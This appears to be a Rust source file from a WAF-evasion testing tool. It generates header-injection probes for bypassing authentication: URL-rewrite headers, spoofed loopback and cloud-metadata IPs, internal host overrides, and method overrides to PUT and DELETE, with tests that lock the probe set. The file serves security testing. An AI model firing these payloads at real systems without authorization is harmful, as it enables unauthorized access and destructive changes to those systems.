Skip to main content

wafrift_encoding/
auth_bypass.rs

1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//!   WAF sees `GET /public` and lets it through; backend rewrites to
9//!   `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//!   allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//!   `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//!   method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. ProxyShell
22//! (CVE-2021-34473) and a long tail of Bugcrowd / HackerOne reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33    /// Header name to inject.
34    pub header: String,
35    /// Header value.
36    pub value: String,
37    /// Short label naming the bypass family (e.g. `x-original-url`,
38    /// `forwarded-for-localhost`, `method-override-put`). Useful for
39    /// gene-bank attribution.
40    pub label: &'static str,
41    /// Concise human description suitable for a finding report.
42    pub description: &'static str,
43}
44
45/// Generate the full set of routing / auth bypass probes for the given
46/// target. `target_path` is the protected resource the user is trying
47/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
48/// that don't take a path it is ignored.
49#[must_use]
50pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
51    let mut out = Vec::new();
52
53    // ── URL-rewrite header family ────────────────────────────────────
54    // IIS / ASP.NET / Apache mod_rewrite all honour these in various
55    // configs. The WAF doesn't, so it sees the harmless surface URL.
56    for header in [
57        "X-Original-URL",
58        "X-Rewrite-URL",
59        "X-Override-URL",
60        "X-HTTP-Destination",
61        "Original-URL",
62        "X-Forwarded-Path",
63    ] {
64        out.push(AuthBypassProbe {
65            header: header.to_string(),
66            value: target_path.to_string(),
67            label: "url-rewrite-header",
68            description: "WAF passes header through; backend rewrites URL to target",
69        });
70    }
71
72    // ── IP-trust header family ───────────────────────────────────────
73    // Many backends gate /admin or /internal on "is the source IP in
74    // the loopback / RFC1918 range?" — and read the header instead of
75    // the socket peer. Spoof the trusted IP.
76    let trusted_ips = [
77        "127.0.0.1",
78        "::1",
79        "localhost",
80        "10.0.0.1",
81        "192.168.0.1",
82        "172.16.0.1",
83        "169.254.169.254", // AWS metadata service host
84    ];
85    let ip_headers = [
86        "X-Forwarded-For",
87        "X-Real-IP",
88        "X-Originating-IP",
89        "X-Client-IP",
90        "X-Remote-IP",
91        "X-Remote-Addr",
92        "Forwarded",      // RFC 7239 standard form
93        "True-Client-IP", // Akamai / Cloudflare Enterprise
94        "CF-Connecting-IP",
95        "Fastly-Client-IP",
96        "X-Cluster-Client-IP",
97        "Client-IP",
98    ];
99    for h in ip_headers {
100        for ip in trusted_ips {
101            let value = if h.eq_ignore_ascii_case("Forwarded") {
102                // RFC 7239 §4 + §6.3: node-name production requires
103                // IPv6 to be bracketed AND quoted (`for="[::1]"`).
104                // Bare hostnames like `localhost` are NOT valid as
105                // node-names — they must be obfnodes (`_internal`)
106                // or the backend (nginx realip, Apache mod_remoteip)
107                // rejects the value silently and the probe never
108                // reaches the auth path it's meant to test.
109                // Audit (2026-05-10).
110                if ip.contains(':') && !ip.starts_with('[') {
111                    format!(r#"for="[{ip}]""#)
112                } else if ip.parse::<std::net::IpAddr>().is_err() {
113                    // Non-IP token (e.g. "localhost"): rewrite as
114                    // RFC-7239-valid obfnode.
115                    let obf: String = ip
116                        .chars()
117                        .filter(|c| c.is_ascii_alphanumeric() || *c == '_')
118                        .collect();
119                    format!("for=_{obf}")
120                } else {
121                    format!("for={ip}")
122                }
123            } else {
124                ip.to_string()
125            };
126            out.push(AuthBypassProbe {
127                header: h.to_string(),
128                value,
129                label: "ip-trust-spoof",
130                description: "Backend trusts header for IP-based authorization",
131            });
132        }
133    }
134
135    // ── Host-trust header family ─────────────────────────────────────
136    // Origin uses Host header for vhost routing or for "is this an
137    // internal call?". Override with an internal hostname.
138    for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
139        for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
140            out.push(AuthBypassProbe {
141                header: h.to_string(),
142                value: v.to_string(),
143                label: "host-trust-override",
144                description: "Origin uses header for vhost/internal-call routing",
145            });
146        }
147    }
148
149    // ── Method-override family ───────────────────────────────────────
150    // Backends accepting these turn a GET past the WAF into a PUT/
151    // DELETE/PATCH. Useful when the WAF only inspects state-changing
152    // methods.
153    for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
154        for h in [
155            "X-HTTP-Method-Override",
156            "X-HTTP-Method",
157            "X-Method-Override",
158            "_method", // Rails, Symfony default
159        ] {
160            out.push(AuthBypassProbe {
161                header: h.to_string(),
162                value: value.to_string(),
163                label: "method-override",
164                description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
165            });
166        }
167    }
168
169    // ── Scheme-trust family ──────────────────────────────────────────
170    // Some apps gate features on "did you come in over HTTPS?" by
171    // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
172    // forcing https here can flip a check.
173    for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
174        for v in ["http", "https"] {
175            out.push(AuthBypassProbe {
176                header: h.to_string(),
177                value: v.to_string(),
178                label: "scheme-trust",
179                description: "Origin uses header to decide HTTPS-only enforcement",
180            });
181        }
182    }
183
184    out
185}
186
187#[cfg(test)]
188mod tests {
189    use super::*;
190
191    #[test]
192    fn url_rewrite_family_targets_user_path() {
193        let probes = auth_bypass_probes("/admin/users");
194        let rewrite = probes
195            .iter()
196            .filter(|p| p.label == "url-rewrite-header")
197            .collect::<Vec<_>>();
198        assert!(rewrite.len() >= 6, "missing rewrite-header variants");
199        for p in rewrite {
200            assert_eq!(
201                p.value, "/admin/users",
202                "{} did not carry user path",
203                p.header
204            );
205        }
206    }
207
208    #[test]
209    fn x_original_url_present() {
210        let probes = auth_bypass_probes("/admin");
211        assert!(
212            probes
213                .iter()
214                .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
215            "missing canonical X-Original-URL probe"
216        );
217    }
218
219    #[test]
220    fn ip_trust_includes_loopback_and_metadata() {
221        let probes = auth_bypass_probes("/x");
222        let ip = probes
223            .iter()
224            .filter(|p| p.label == "ip-trust-spoof")
225            .collect::<Vec<_>>();
226        assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
227        assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
228        // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
229        assert!(
230            ip.iter()
231                .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
232        );
233    }
234
235    #[test]
236    fn method_override_offers_destructive_methods() {
237        let probes = auth_bypass_probes("/x");
238        let methods: Vec<&str> = probes
239            .iter()
240            .filter(|p| p.label == "method-override")
241            .map(|p| p.value.as_str())
242            .collect();
243        for m in ["PUT", "DELETE", "PATCH"] {
244            assert!(methods.contains(&m), "method {m} not in override probes");
245        }
246    }
247
248    #[test]
249    fn forwarded_host_includes_internal() {
250        let probes = auth_bypass_probes("/x");
251        assert!(
252            probes.iter().any(|p| p.header == "X-Forwarded-Host"
253                && (p.value == "localhost" || p.value == "internal"))
254        );
255    }
256
257    #[test]
258    fn no_probe_has_empty_header_or_value() {
259        for p in auth_bypass_probes("/x") {
260            assert!(!p.header.is_empty(), "empty header in probe");
261            assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
262        }
263    }
264
265    #[test]
266    fn probes_have_unique_header_value_pairs() {
267        let probes = auth_bypass_probes("/admin");
268        let mut seen = std::collections::HashSet::new();
269        for p in &probes {
270            let key = (p.header.to_lowercase(), p.value.clone());
271            assert!(
272                seen.insert(key.clone()),
273                "duplicate (header, value) pair: {key:?}"
274            );
275        }
276    }
277
278    #[test]
279    fn total_probe_count_locked() {
280        // Lock the count so a future edit doesn't silently drop a probe
281        // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
282        // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
283        // + Scheme-trust (3 × 2 = 6) = 136.
284        let probes = auth_bypass_probes("/x");
285        assert_eq!(probes.len(), 136, "auth_bypass_probes count drift");
286    }
287}